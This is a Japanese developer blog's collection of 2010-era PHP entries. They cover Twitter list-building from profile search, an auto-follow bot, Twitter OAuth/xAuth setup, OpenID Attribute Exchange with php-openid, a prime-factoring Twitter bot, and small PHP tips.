タグ「php」が付けられているエントリー

PHPでTwitterのプロフィール検索してリストを作る方法(OAuth対応版)

| PHPでTwitterのプロフィール検索してリストを作る方法(OAuth対応版)

Twitterのリスト機能って便利ですよね.例えば,イベントなどでその関係者のつぶやきを一覧したい,でもフォローするのはアレだしって時に使えます.同様に,ある共通の趣味を持っている人を集めるとか,ある特定の病気と闘っている人を集めるとか,色々と応用ができます.そんなこんなで,最近はリストを作って喜んでます.

そんなこんなで,今日はTwitter標準のAPIではできないことをサードパーティ製APIで実現しまくる方法を紹介します!具体的には,プロフィールに特定のキーワードが含まれているユーザを抽出して,リストを作る方法です.実装はいつも通りにPHPでOAuth対応です.書き忘れていますが,ソースは当然の如くUTF-8で保存してくださいね.

tps.lefthandle.netのAPIを用いる場合
Twitterのプロフィール検索を提供しているサードパーティは,ざっくり調べた感じでは2カ所あります.そのうちの1カ所がtps.lefthandle.netです.主な仕様としては,GETリクエストに対してJSONで返事します.結果は最大100件で,ユーザー登録順,follower数順,最近のつぶやき順が選べます.というかドキュメント読んで下さい

このAPIを使ってプロフィール検索をして,引っかかった人をリストに追加するコードはこんな感じです.

<?php
$ids = 'yourscreenname';
$listname = 'listname';
$url = "http://api.twitter.com/1/$ids/$listname/members.json";
$q = urlencode('キーワード');
$sortmode = 'recent';//
register, follower
//search APIのURL
$c = curl_init("http://tps.lefthandle.net/rest/?s=$q&sort=$sortmode");
curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($c);
curl_close($c);
$json = json_decode($response);
//リストに追加する
foreach ($json as $u) {
$param = array('id' => $u->screen_name);
$res = twitter_api($url, OAUTH_HTTP_METHOD_POST, $param);
}

//twitter api
function twitter_api($url, $method=OAUTH_HTTP_METHOD_GET, $param=null) {
$consumerKey = '
consumerKey';
$consumerSecret = '
consumerSecret';
$oauthToken = '
oauthToken';
$oauthTokenSecret = '
oauthTokenSecret';

try {
$oauth = new OAuth($consumerKey, $consumerSecret,
OAUTH_SIG_METHOD_HMACSHA1, OAUTH_AUTH_TYPE_URI);
$oauth->setToken($oauthToken, $oauthTokenSecret);
$oauth->fetch($url, $param, $method);
$response = $oauth->getLastResponse();
return $response;
} catch (OAuthException $e) {
return $e;
}
}
?>

ベリーイージーね.前提として,リストは作っておいて下さい.空でも空じゃなくても構いません.もちろん,エラー処理がいい加減なんで,適当に修正して下さい.OAuthのトークンは適当な方法で取得して下さい.この方法だと,検索に引っかかった人を無差別に登録するので,既登録の人を再度登録しようとしたりして無駄が多いので,既登録者リストとの差分を取るとかの工夫をしたら良いんじゃないかと思います.

twpro.jpのAPIを用いる場合
もいっこの方がtwpro.jpです.主な仕様としては,GETリクエストにJSONで返事します.IPアドレス毎に1000回/時のAPIコールが可能です.また,検索結果が最大300件となっています.また,JSONPのコールバックが使えます.使わないけど.まぁ,ドキュメント読んでね.

このAPIを使ってプロフィール検索をして,引っかかった人をリストに追加するコードはこんな感じです.

<?php
$ids = 'yourscreenname';
$listname = 'listname';
$url = "http://api.twitter.com/1/$ids/$listname/members.xml";
$q = urlencode('キーワード');

//search APIのURL
$c = curl_init("http://api.twpro.jp/1/search?q=$q&num=300");
curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($c);
curl_close($c);
$json = json_decode($response);
//リストに追加する
foreach ($json->users as $u) {
$param = array('id' => $u->screen_name);
$res = twitter_api($url, OAUTH_HTTP_METHOD_POST, $param);
}

//twitter api
function twitter_api($url, $method=OAUTH_HTTP_METHOD_GET, $param=null) {
$consumerKey = 'consumerKey';
$consumerSecret = '
consumerSecret';
$oauthToken = '
oauthToken';
$oauthTokenSecret = '
oauthTokenSecret';

try {
$oauth = new OAuth($consumerKey, $consumerSecret,
OAUTH_SIG_METHOD_HMACSHA1, OAUTH_AUTH_TYPE_URI);
$oauth->setToken($oauthToken, $oauthTokenSecret);
$oauth->fetch($url, $param, $method);
$response = $oauth->getLastResponse();
return $response;
} catch (OAuthException $e) {
return $e;
}
}
?>

こんな感じかな?いいんじゃないかな?どっちのAPIも良くできているよ.

別になんら難しいことはないんだけど,TwitterのBOTを作って自動フォローやリムーブをしたくなることってあるじゃないですか?特に,人気BOTになってくると,いちいちフォローされましたメールからフォローするなんて,面倒くさいじゃないですか?そうなると,自動でやりたいですよね.ということで,自動フォロー/リムーブするPHPなプログラムを書いたよ.もちろんOAuth対応版だよ.

<?php
$ids = 'yourscreenname';

$friends = array();
$followers = array();
$list_follow = array();
$list_remove = array();

//APIからfriends取得
$url = "http://api.twitter.com/1/friends/ids/$ids.json?cursor=-1";
$res = twitter_api($url);
$json = json_decode($res);
//ユーザIDを抽出して配列に
foreach ($json->ids as $u) {
$friends[] = $u;
}

//APIからfollowers取得
$url = "http://api.twitter.com/1/followers/ids/$ids.json?cursor=-1";
$res = twitter_api($url);
$json = json_decode($res);
//ユーザIDを抽出して配列に
foreach ($json->ids as $u) {
$followers[] = $u;
}

//followするリスト作成
$list_follow = array_diff($followers, $friends);
//removeするリスト作成
$list_remove = array_diff($friends, $followers);

//followする
foreach($list_follow as $f) {
$url = "http://api.twitter.com/1/friendships/create/$f.json";
$res = twitter_api($url, OAUTH_HTTP_METHOD_POST);
}

//removeする
foreach($list_remove as $f) {
$url = "http://api.twitter.com/1/friendships/destroy/$f.json";
$res = twitter_api($url, OAUTH_HTTP_METHOD_POST);
}


//twitter api
function twitter_api($url, $method=OAUTH_HTTP_METHOD_GET, $param=null) {
$consumerKey = 'consumerKey';
$consumerSecret = 'consumerSecret';
$oauthToken = 'oauthToken';
$oauthTokenSecret = 'oauthTokenSecret';

try {
$oauth = new OAuth($consumerKey, $consumerSecret,
OAUTH_SIG_METHOD_HMACSHA1, OAUTH_AUTH_TYPE_URI);
$oauth->setToken($oauthToken, $oauthTokenSecret);
$oauth->fetch($url, $param, $method);
$response = $oauth->getLastResponse();
return $response;
} catch (OAuthException $e) {
return $e;
}
}
?>

トークンは自分のものに置き換えてね!どうせBOTだろうからdevelopersあたりから取れるよね.作り方が雑なんで,適当に改変して利用するといいんじゃないかな.

備忘録的メモ.前提条件として,apacheやphpは入っていること,pearが使える状態であること.こっちのOSはUbuntu9.10amd64です.他の環境でも似たようなものです.

PHPでOpenIDなライブラリといえば,php-openidだと思います.2.2系になってから,githubに移行して,docディレクトリが無くなりました.「なんでドキュメントがないんだ,むぎゃ!」って思っていたのですが,やり方がわかったので,メモ.

DOCUMENTATION
=============

You can view the HTML library documentation in the doc/ directory.

This package's documentation is in PhpDoc format.  To generate the
documentation, install phpdoc and run the admin/makedoc.sh script.
Phpdoc lives at:

  http://www.phpdoc.org/

openid's php-openid at master - GitHub

書いてある通りなんですが,ドキュメントはPhpdocなるものを使って作れと言っています.Phpdocの正式名称はphpDocumentorで,pearからインストールできるようなので,入れます.

$ sudo pear install --alldeps PhpDocumentor

簡単ね!続いて,ドキュメントをmakeするよ.ディレクトリとかは適宜読み替えて下され.

$ unzip openid-php-openid-2.2.2-0-ga287b2d.zip
$ cd openid-php-openid-782224d
$ chmod +x admin/makedoc.sh
$ admin/makedoc.sh

簡単ね!これでdocにドキュメントができあがります.

参考:
How to install PhpDocumentor on Ubuntu | greenhughes.com

PECL/oauthはPHPでOAuthなプログラムを書く場合に重宝します.Twitterのbotを書くときにも役立ちます.そのため,比較的頻繁に使っているのですが,ちょっと別の環境でPECL/oauthを使おうと思ったら入っていなくて,入れりゃいいやと思って,pecl install oauthしたらビルドでエラーがでたので,その対処法のメモです.

解決方法はlibpcre3-devを入れる。

sudo apt-get install libpcre3-dev

マキノ式ブログ » Extentionビルドしててpcre.hが存在しないと怒られた。

簡単ね!

今年の夏の自由研究を何やるか決められないまま,既に夏休みなんですが,どうしましょう?と思っていたところ,タイミング良くGoogle Developer Day 2010 DevQuizが始まったので,参加中です.脳味噌コネコネにはちょうど良いです.昨晩から参加して,今のところ,こんな感じです.

gdd2010devquiz01.jpg

とりま,共通問題はサクッとやって,HTML5間違い探しもサクッと終わらせました.認証屋としてOAuthができないなんてのは問題外(というかそういうデモを作ってるくらいだし)なので,サクッとPHPで挑戦して,ムリってなりましたw.Pecl::OAuthはダメだ.realm指定できないw.仕方ないから,PerlのOAuth::Lite::Consumerを使いました.パッケージのスペルを間違えてて,小一時間悩んだのは良い思い出.

んで.Top Favoritesは一切何も関与していないことが判明したので,Super HackersかNext Generationに応募するしかないので,とりま,Super Hackersに挑戦中です.Shiritoriはレベル2までは適当にブルートフォース的なやり方で解けました.レベル3は単語数が増えるので,プログラムを作って挑みました.実装はC言語で.なんとなくPerlの方が簡単に作れた気がする・・・.久しぶりの再帰関数にちょっと四苦八苦しながら,見事に撃退しました.ちなみに,相手の手のことを考えていなくて,解答が合わなくてパニクったのは良い思い出.

残るはPAC-MANとエッセイです.エッセイはまぁいいとして,PAC-MANをどうするかなぁ・・・.これは結構マジで作らないとダメだよなぁ・・・.そもそもパックマンは苦手だから,戦略アルゴリズムを立てられないorz.

というわけで,PAC-MANは置いておいて,解けそうなGoogle Maps APIをやろうかなと思っている.中身的にはMaps APIを叩いて最短経路問題を解けばいいので,高々10点らしいので,マップを作ってダイクストラ法の総当たりでフィニッシュです.でも,手元にダイクストラのプログラムがないので,自宅に戻ってから.

まとめ:
なかなか楽しいです!全く解法が解らないでもなく,めちゃめちゃ簡単でもない.挑戦しがいのある問題って素敵.ところで,GDD2010の開催日が9月28日で,大腸内視鏡検査とバッティングしそうなんだよね・・・.無駄に終わるかもしれんorz.

ちょっと所用があるので,OpenID AXを喋るOPとRPを作ってみた.厳密に言えば,作ってみたではなく動かしてみたなのだが,ネット上に情報が少なすぎる,特にAXを喋るOPの情報が皆無に等しいので,とりあえず書き残しておく.実装はOpenID EnaledのPHP Library 2.1.3を使いました.PHPは5.3系で上手く動かなかったので,5.2.10でやってます.apacheは2.2.12で,OSはUbuntu9.10x64です.

AXを喋るRPの実装
まずはRP側を実装します.examples/consumerを用いれば,RPは簡単に作れます.しかも,サンプルにはSregとPAPEを喋るように作られています.まぁ,普通に動かせば動きます.んで,AXを喋るようにいくつか改変します.基本的にAXはSregやPAPEと同じExtensionなので,参考にしながら実装します.実装に当たっては,当然ながらドキュメントが役に立ちます.読みにくいですけどね.

まずはcommon.phpをいじります.AX関連のクラスを使いますので,doIncludes()の中で,require_once "Auth/OpenID/AX.php"しておきます.papeを参考にすると,ここらで定数などを宣言しているようなので,真似して宣言してみます.

global $ax_attributes;
$ax_attributes = array(
'http://axschema.org/contact/email' => 'email',
'http://axschema.org/namePerson/first' => 'firstname',
'http://axschema.org/namePerson/friendly' => 'nickname');

属性型はaxschema.orgにしました.別に他のでもいいです.次に,index.phpを変更しておきましょう.PAPEの部分を参考にします.というか,バッサリ頂きます.61-67行目を以下のように置き換えちゃいます.

<p>Optionally, request these attributes:</p>
<p>
<?php
global $ax_attributes;
while (list($key, $val) = each($ax_attributes)) {
print "<input type=\"checkbox\" name=\"ax_requests[]\" value=\"$key\" checked />";
print "$key ($val)<br/>";
}
?>
</p>

恐ろしく汚いコードですが,気にしたら負けです.これでIdentifierの入力を尋ねるときに,要求するAXを3種類の中から選べるようにしています.デフォでは全部ONですが. 続いて,try_auth.phpをいじります.まず,SregとPAPEは使わないので,該当部分をバッサリ捨てます.30-38行目がSregで,40-45行目がPAPEなので,コメントアウトするなり,消しちゃうなりして,機能しないようにしておきます.で,この辺りにAXのコードを書きます.

global $ax_attributes;
$ax = new Auth_OpenID_AX_FetchRequest;
$ax_uris = $_GET['ax_requests'];
while (list($key, $val) = each($ax_attributes)) {
if(in_array($key, $ax_uris)) {
$attribute[] = Auth_OpenID_AX_AttrInfo::make($key, 1, false, $val);
}
}
foreach($attribute as $attr){
$ax->add($attr);
}
$auth_request->addExtension($ax);

3行目の$_GET['ax_requests']はindex.phpのチェックボックスからどの属性がリクエストされたかを受け取っています.そんで,その要求されたものを$ax_attributesと比較して,Auth_OpenID_AX_AttrInfoでAXのリクエストにあうように準備します.ちなみに,第3パラメータをfalseにしているので,要求する属性はrequiredではなく,if_availableになります.そんで,$ax->add($attr)で属性セットして,最後にextensionに追加する感じです.このコードはExample usage of AX in PHP OpenIDを参考にしました. 最後に,finish_auth.phpを書き換えます.SregとPAPEを無効にしたいので,41-90行目をバッサリと消しちゃいます.かわりにAX用のコードを書き加えます.

$ax_resp = Auth_OpenID_AX_FetchResponse::fromSuccessResponse($response);
$success .= '<dl>';
global $ax_attributes;
while (list($key, $val) = each($ax_attributes)) {
$ax_data = $ax_resp->get($key);
if(!is_object($ax_data)) {
$success .= "<dt>$val</dt><dd>$ax_data[0]</dd>";
}
}
$success .= '</dl>';

特に解説することもないですけど,AXの返事は$ax_resp->get($key)で取り出しています.Type URIをキーにして,取り出しています.コードを見ればわかると思いますが,何を要求したとか,何が返ってきているかは全く考えず,総当たりにチェックしてます.大した量じゃないし.そのため,!is_object($ax_data)でエラートラップしてます.getメソッドで取り出せなかった場合,Auth_OpenID_AX_Errorが返りますので,objectかどうかのチェックでさばいてます.複数の属性値が返ってきた場合でも最初の1つしか表示しない辺りも詰めが甘いですが,気にしないで下さい.気になるなら,自分で工夫して下さい.僕には必要がないコードです.

AXを喋るOPの実装
続いて,OP側を作ります.examples/serverを使います.こっちが結構に四苦八苦でした.勝手にはまっただけですけど.こっちはいじくる部分はlib/common.phpだけです.まずはSregとPAPE関連を消し去ります.56-76行目がSregで,PAPEは・・・ないですねw.なんだ,OP側のPAPEは実装されていないのか.それはそれとして,Sregが書いてあった辺りに,AX用のコードを書き加えます.

$attributes = array(
'http://axschema.org/contact/email' => 'email@example.com',
'http://axschema.org/namePerson/first' => 'first',
'http://axschema.org/namePerson/friendly' => 'nickname');

$ax_requested = Auth_OpenID_AX_FetchRequest::fromOpenIDRequest($info)->getExtensionArgs();
$ax_response = new Auth_OpenID_AX_FetchResponse();
while (list($key, $val) = each($attributes)) {
if(in_array($key, $ax_requested)) {
$ax_response->addValue($key, $val);
}
}
$ax_response->toMessage($response->fields);

実に,このコードにたどり着くまでに苦労しました.何にはまっていたかは後で説明します.コードは解説する必要がないくらいに簡単です.$attributes[]の中は連想配列でType URIをキーとして,属性値を格納します.んで,$ax_requestedと比較して,リクエストされている属性を$ax_response->addValue($key, $val)でセットします.以上で完成です.

動作例

100608_ax01.jpg

これはRP側です.http://localhost/rp/です.色々突っ込みどころ満載ですが,デモですからスルーして下さい.Identity URLのところに,自前OPのidentifierを入れます.AXで取得したい属性をチェックボックスから選びます.とりま,全選択で.

100608_ax02.jpg

こっちがOPからの返事を受け取ったRPです.要求した属性が全て取得できています.下の黄枠の中にはAXレスポンスの内容を表示してみました.aliasがext0とかになっています.ここで勝手にはまってました.結果的には,これで良かったんです.問題なく動いています.これで,AXを喋るOPとRPはできあがるので,後は煮るなり焼くなり・・・.

はまったところ
OPのレスポンスを作るのに苦労しました.というか,勝手な思い込みです.上記で示したOPのコードでAXを喋らせると,違和感があったんです.例えばこのエントリで例示されているように,ax.type.nicknameでリクエストしたら,レスポンスもax.type.nicknameとax.value.nicknameで返るのが自然のように思います.僕もそうだと思っていましたが,これは全然どうでもいい話でした.ここで例示したnicknameというのはaliasなのですが,aliasについては以下のように書かれています.

The <alias> will further be used to identify the attribute being exchanged.

Final: OpenID Attribute Exchange 1.0 - Final

とのことですので,identify出来ればよろしく,何だっていいようです.なので,ここではnicknameでリクエストしても,レスポンスはfriendlyでもいいわけです.問題なのはレスポンスにおいて,friendly.typeとfriendly.valueが紐付きますので,その関係だけが保たれていれば,aliasは何でもokです.

実際のところ,上記に示したOPが喋るAXはレスポンスとしてext0とかext1というaliasを張ります.最初はこれをみて正規の手続きでやっていないからまずいんだと思い込み,AX.phpやMessage.phpの中にまでダイブして,色々と調査しました.で,追っていけば行くほど,コードは正しそうに見えてくるんです.おかしいと思って確認してみたところ,さっきの例示したエントリでも,profile_imgでリクエストして,imageでレスポンスされている.つまりまとめると,重要なのはaliasではなく,Type URIである.aliasは一意ではない(そんな定めがない)が,Type URIは一意なので,そっちを見ろということである.なるほど当然の道理である.

まとめ:
PHPでAXを喋るOPとRPを実装した.簡易版なので,色々と不十分な実装(特にOP側)となっているが,実証コードには十分である.

201006081344追記:
Apache License 2.0らしいので,10はてブ超えたらソースコード公開する.

TwitterのBASIC認証が2010年6月末で終わり,OAuth/xAuthでの認証が必要になります.以前,xAuthに対応する話を書きましたが,最近になって,botの場合はxAuth申請をする必要がなくなったようです.手順は以下の通り.

まずは,アプリケーションの登録をします.アプリケーションの登録が完了すると,OAuthのConsumer keyとConsumer secretが手に入ります.

100505_twitter01.jpg

この2つの値をコピーしておきます.続いて,右のメニューからMy Access Tokenを選びます.

100505_twitter02.jpg

表示されるAccess TokenとAccess Token Secretをコピーします.準備完了です.あとは,PHPでテストコードを書いてみます.参考コードはウノウラボから.PECL::oauthを前提にしています.


<?php
$consumerKey = '
Consumer key';
$consumerSecret = '
Consumer secret';
$oauthToken = 'OAuth token';
$oauthTokenSecret = 'OAuth token secret';
$oAuthStatusesUpdateUrl = 'http://api.twitter.com/1/statuses/update.xml';

$response = '';
$parameters = array(
'status' => 'OAuthから投稿テスト♪',
);

try {
$oauth = new OAuth($consumerKey, $consumerSecret,
OAUTH_SIG_METHOD_HMACSHA1, OAUTH_AUTH_TYPE_URI);
$oauth->setToken($oauthToken, $oauthTokenSecret);
$oauth->fetch($oAuthStatusesUpdateUrl, $parameters, OAUTH_HTTP_METHOD_POST);
$response = $oauth->getLastResponse();
} catch (OAuthException $e) {
var_dump($e);
exit;
}
var_dump($response);
?>

上記コードの4カ所に先ほどコピーした各値をセットすればokです.簡単ねっ!

関連:
TwitterでxAuthを使う試み - 4403 is written

なにやら2010年6月頃に従来使われていたBASIC認証でのAPIコールができなくなるらしく,OAuthまたはxAuthへの対応が必要となっております.ぶっちゃけ,作っているのはbotなので,OAuthのような仰々しい実装(ぇ)は必要ないので,簡易的なxAuthを用いようと考えました.なお,OAuth対応を行うと60分に350回(将来的には1500回)のAPIコールができるようになるらしい.これはかなり自由度が増します.というわけで,今回はxAuthに対応する話を書いておきます.例によって,実装はPHPです.

参考にしたのはこちら.というか,そのまんまです.OAuth/xAuthを使うには準備が必要です.手順は以下の通り.

準備: アプリケーションを Twitter に登録し、consumer key と consumer secret を取得する
      http://twitter.com/oauth_clients/new にアクセスし、登録する

・Webアプリケーションの場合
  (1) consumer key と consumer secret を使って、リクエストトークン(token と token secret)を取得する
  (2) リクエストトークンのうち、token を使って、ユーザにアクセス許可を求めるための URL を生成し、その URL にリダイレクトする(Web ブラウザに表示させる)
  (3) ブラウザに表示された「許可(allow)」ボタンをユーザが押すと、(アプリケーション登録時に申請した)コールバック URL にリダイレクトされる
  (4) コールバック URL へのアクセスを検知したら、その URL 中に含まれる oauth_verifier パラメータを取り出す
  (5) consumer key, consumer secret, token, token secret, oauth_verifier を使って、アクセストークン(token2 と token2 secret)を取得する
  (6) 以後、consumer key, consumer secret, token2, token2 secret を使って、API を実行する

Twitter API 仕様書 日本語訳 第四十八版 (2010年3月2日版)

簡単ですね.え?まぁまぁ.まずは,http://twitter.com/oauth_clients/newにアクセスして,OAuthを使うアプリケーションを登録します.登録が完了すると以下のような画面が出ます.

100304_xauth01.png

Consumer keyとConsumer secretが表示されるので記録します.で,ウノウラボを参考に以下のようなコードを実行して,アクセストークンを取得してみます.


<?php
$consumerKey = 'Consumer key';
$consumerSecret = 'Consumer secret';
$username = "username";
$password = "password";
$xAuthAccessTokenUrl = 'https://api.twitter.com/oauth/access_token';

$response = '';
$parameters = array(
'x_auth_mode' => 'client_auth',
'x_auth_username' => $username,
'x_auth_password' => $password,
);

try {
$oauth = new OAuth($consumerKey, $consumerSecret,
OAUTH_SIG_METHOD_HMACSHA1, OAUTH_AUTH_TYPE_URI);
$oauth->fetch($xAuthAccessTokenUrl, $parameters, OAUTH_HTTP_METHOD_POST);
$response = $oauth->getLastResponse();
} catch (OAuthException $e) {
var_dump($e);
exit;
}
parse_str($response, $accessTokenInfo);
var_dump($accessTokenInfo);
?>

ウノウラボ Unoh Labs: PECL::oauthでxAuthを参考に一部改変

これを実行すればアクセストークンが取得できるはずです.結果を以下に一部抜粋.


object(OAuthException)#2 (7) {
["message:protected"]=>
string(73) "Invalid auth/bad request (got a 401, expected HTTP/1.1 20X or a redirect)"
(中略)
["lastResponse"]=>
(中略)
<error>Client application is not permitted to use xAuth.</error>
}

おやおや?芳しくないですね.401エラーでxAuthの許可がないと言われています.うーん.ドキュメントを読んでみると,こう書いてあります.

In order to get access to this method, you must apply by sending an email to api@twitter.com -- all other applications will receive a HTTP 401 error.

Twitter API Wiki / Twitter REST API Method: oauth access_token for xAuth

よく読めという話である.つまりは,xAuthを行うにはOAuthのアプリケーション登録をするだけではダメで,メールでの申請がさらに必要とのこと.なるなる.なので,早速メールで申請を行います.・・・って,Twitterって日本語が通じないような気がしますよね?というわけで,どのような文面を書けばよいか.以下をパクりました.

Hello.

I'm a developer of '[Your application]', the twitter client application for windows.
My account is @[Your twitter account].
Please apply this app to use xAuth.

Application: [Your application]

Best regards.
-----------------------------------------------
@[Your twitter account]
[some urls]

xauth request - 3d7b1

簡単ね!これに対するお返事が2日後に来ました.結果は許可ならず.要約すると「おまえbotだろ?なんでxAuthつかうん?もっと説明せーや!」とのこと.ううう・・・.アプリ名を「factoring_bot」にしたのがいかんかったか・・・.確かに,OAuthでやれと言われれば,グーの音もでない.「xAuthを使ってみたいんだよ!」って本音を書きたくなったけど,そこはグッとこらえて,高度な言い訳を.そして更に2日後に「プラットフォームはなに?Windowsでいいのけ?」ってお返事が.ここはクールに「あぁ,最初はWindowsだ.その次はLinux対応だね」って送り返しました.マルチプラットフォームでプログラムを書ける好青年を演じておきました.で,最終的には,コンタクトを始めてから1週間後に以下のメールが来ました.

Your application now has the ability to use XAuth,

おお!!やっと許可されました.粘り強く交渉してみるもんだ.では,先ほど401エラーが返されたプログラムを実行してみましょう.


array(5) {
["oauth_token"]=>
string(50) "oauth_token"
["oauth_token_secret"]=>
string(41) "oauth_token_secret"
["user_id"]=>
string(9) "101753216"
["screen_name"]=>
string(13) "factoring_bot"
["x_auth_expires"]=>
string(1) "0"
}

完璧です.実際にはoauth_tokenとoauth_token_secretには何やらの値が格納されています.ここで見せちゃうとダメだからね^^.ではでは,xAuthを利用してつぶやきをポストしてみましょう.以下のコードを走らせてみます.もちろん,参考コードはウノウラボから.


<?php
$consumerKey = '
Consumer key';
$consumerSecret = '
Consumer secret';
$oauthToken = 'OAuth token';
$oauthTokenSecret = 'OAuth token secret';
$oAuthStatusesUpdateUrl = 'http://api.twitter.com/1/statuses/update.xml';

$response = '';
$parameters = array(
'status' => 'xAuthから投稿テスト♪',
);

try {
$oauth = new OAuth($consumerKey, $consumerSecret,
OAUTH_SIG_METHOD_HMACSHA1, OAUTH_AUTH_TYPE_URI);
$oauth->setToken($oauthToken, $oauthTokenSecret);
$oauth->fetch($oAuthStatusesUpdateUrl, $parameters, OAUTH_HTTP_METHOD_POST);
$response = $oauth->getLastResponse();
} catch (OAuthException $e) {
var_dump($e);
exit;
}
var_dump($response);
?>

で.結果がこちら.

Twitter / 素因数分解ボット「ふぁくたん」: xAuthから投稿テスト♪

アプリ名としてfactoring_botって表示されるのがかっこいい!クール!クール!!クール!!!

まとめ:
TwitterのxAuthはOAuthのライブラリを使って実装可能.xAuthはOAuthのアプリ登録をするだけではダメで,xAuth利用申請をメールで送る必要がある.その際,アプリ名にbotが含まれていると疑われる.というか,最初から自分のアプリを詳細に説明しておけば良いんだと思う.実装のプラットフォームも尋ねられたので,書いておくと良いと思う.実装言語は訊かれなかったけど,アグレッシブに主張した.

OAuth/xAuth採用によって,API制限が少し緩和されるはず.いや,まだfactoring_botにこのテストコードを移植してないけどさ. そのうちにやります.そのうちに・・・.

scis2010.png

SCISは宮崎からの参加で,今年は3年目になります.CSS×2.0デビューはしていますが,SCISナイトセッションにはデビューしていませんでした.今回,ひょうんなことから「理論と実装のギャップ(仮)」というタイトルで発表の機会を与えられましたので,全力で挑んできました.

SCIS2010ナイトセッション「理論と実装のギャップ(仮)」

発表資料は公開します.ナイトセッションで使わなかったスライドには右上に赤丸が表示されています.基本的には変更していませんが,一部を修正しています.なお,プログラムソースが見えると思いますが,見ないで下さい.

ナイトセッションでは研究速報枠を3分ほどいただきました.どの辺が研究速報なのかは不明ですが・・・.真面目な内容にもかかわらず,やや受けをいただいて,嬉しい限りです.みんなやさしい!

なお,この発表の様子はyoutubeで公開されています.別ソースもあるのですが,公開していいのかどうか・・・.

関連:
素因数分解twitterボットfactoring_botを作りました - 4403 is written
SCIS2009ナイトセッションの資料 - 4403 is written
CSS×2.0 in CSS2008 - 4403 is written
CSS×2.0 in CSS2009 - 4403 is written

素因数分解botとか面白そうかなと思ってみる。だけど僕には<del>ピアノがない、君に聴かせる</del>腕もないのでとりあえず人力で、189 = 3 * 3 * 3 * 7、1007 = 19 * 53 RT @xagawa [博論] 189pages. 1007kB也

Twitter / MarriageTheorem: 素因数分解botとか面白そうかなと思ってみる。だけど ...

手動で素因数分解を啓蒙されている方が,botを所望しておられました.

Botは書けるけど素因数分解ができないw RT @shokohitsuji: 誰か作ってあげてー。 RT: @MarriageTheorem: 素因数分解botとか面白そうかなと思ってみる。だけど僕には<del>ピアノがない、君に聴かせる</del>腕もないのでとりあえず人力で

Twitter / 4403: Botは書けるけど素因数分解ができないw RT @s ...

そして紆余曲折合って作ることになりました.専用アカウントはfactoring_botです.実装はPHPで,ものすごくナイーブな方法です.実装スピード最優先で.

仕様

  • factorial_botのfriends_timelineから3~10桁の数字を見つけ出し素因数分解の結果をRTする
  • 素因数分解の対象は1発言内で最初に見つかったもののみ
  • replyなどで@を含むメッセージには無反応
  • 素因数分解結果を合わせた発言文字数が140文字を超えた場合はポストしない
  • 5分毎に動作

今のところの不具合のようなもの

  • 手動リフォロー
  • 先頭が0で始まっていても認識する
  • 8桁以上あっても先頭8桁を認識する
  • 既知の素数で順番に割っていくだけの簡単なお仕事です

素因数分解は専門外で全然わからないのですが,素数を探しましょうではなく,ある数字を素因数分解しましょうというときに,最適なアプローチはどんな方法なんでしょうか?既知の素数表を配列で持っておいて,順番で割っていくというのは悪くなさそうな気がしますが・・・.識者の方からのアドバイスを期待します.

今後やろうとしていること

  • 文頭に@factoring_botがある場合(つまりmention)は反応しようかと思う
  • フォロワ以外からのmentionにも反応しようかと思う
  • PublicTLから直近50件を抽出して素因数分解させてRTして知名度を上げる
  • Phytonで書き直し,GAEに移す
  • 自動リフォローを実装する
  • ポスト予定の発言が140文字を超えたら上手いこと切り詰める
  • より桁数の多い数字に対応する

201001261440追記:
ヴァァァーーーーとなったら,10桁の素因数分解ができるようになりました.factoring_botのuser_timelineに流れているmentionには反応します.ただし,文頭に@factoring_botがある場合に限る.相変わらずRTのメッセージが140文字を超えた場合は何もつぶやけない.

201002221703追記:
ハッシュタグに含まれる数字は素因数分解しないようにしました.例えば,以下の文字列は素因数分解の対象外となります.「#2929」「#scis2010」「#2929dan」.なお,これらのハッシュタグを含んでいたとしても,他に素因数分解の対象となる文字列があれば,素因数分解します.

201003022303追記:
RTが140文字を超えるとつぶやけない問題に対応しました.まず,in_reply_to_status_idパラメータに対応しました.これにより,素因数分解対象の元つぶやきを指すことができるようになりました.この効果で,RTメッセージが140文字を超える場合は,元メッセージをバッサリと削除してつぶやくように変更しました.つぶやき例としてはこのような感じです

201003152311追記:
factoring_botをxAuth対応させました.アプリケーション名にfactoring_botと表示されると思います.かっこいい!あと,今更ですが,mentionに対応しています.文頭に「@factoring_bot」を含んでいることを条件に,つぶやきを素因数分解します.あとは,今日の日付が素数だったら,お知らせします.

201006072305追記:
2010と2011は素因数分解しないようにブラックリスト化しました.

201006172202追記:
最近の度重なるクジラ病によって,度々発言を失敗するようになりました.従来仕様ではつぶやきに失敗したものはリトライせずに破棄していました.しかしながら,それを克服するべく,本日の改修でメッセージキューイング方式に変更しました.これにより,エラーが発生する場合は可能な限りリトライします.現在の設定では1分毎のデキューイングで最大60分間ねばります.十分なテストが出来ていないので,問題が発生する可能性があります.その際はお知らせ頂ければ幸いです.

100617_factoring_bot01.png

調べたけど分からない.決定的なものが見当たらない.MSXMLを使うのが簡単そう.だけど,自宅では環境が足りない模様.明日,開発環境でテストしてみるコード.ちなみに,「実証コードには手間を掛けない」が持論なので,簡単にXMLをパースしちゃう言語をご紹介.「これはひどい」で有名なPHPで.

<?php
$string = <<<XML
<a>
<b>
<c>text</c>
<c>stuff</c>
</b>
<d>
<c>code</c>
</d>
</a>
XML;

$xml = new SimpleXMLElement($string);

/* <a><b><c> を探します */
$result = $xml->xpath('/a/b/c');

while(list( , $node) = each($result)) {
echo '/a/b/c: ',$node,"\n";
}

/* 相対パスでも動作します... */
$result = $xml->xpath('b/c');

while(list( , $node) = each($result)) {
echo 'b/c: ',$node,"\n";
}
?>

PHP: SimpleXMLElement::xpath - Manual

実行結果は以下の通り.

/a/b/c: text
/a/b/c: stuff
b/c: text
b/c: stuff

PHP: SimpleXMLElement::xpath - Manual

xpathもできて,かんたーん.

名称変更にともない、Product Advertising API にリクエストを送信いただく都度、認証のための電子署名を含めていただくことが必要になります。この変更は、2009年5月11日より3ヶ月の間の移行期 間の後、2009年8月15日には、Product Advertising API へ送信されるリクエストは全て認証されることとなり、認証されない場合、リクエストは処理されなくなります。

Amazon アソシエイト・プログラム(アフィリエイト) 公式ブログ: Amazon アソシエイト Web サービスの名称変更および署名認証についてのお知らせ

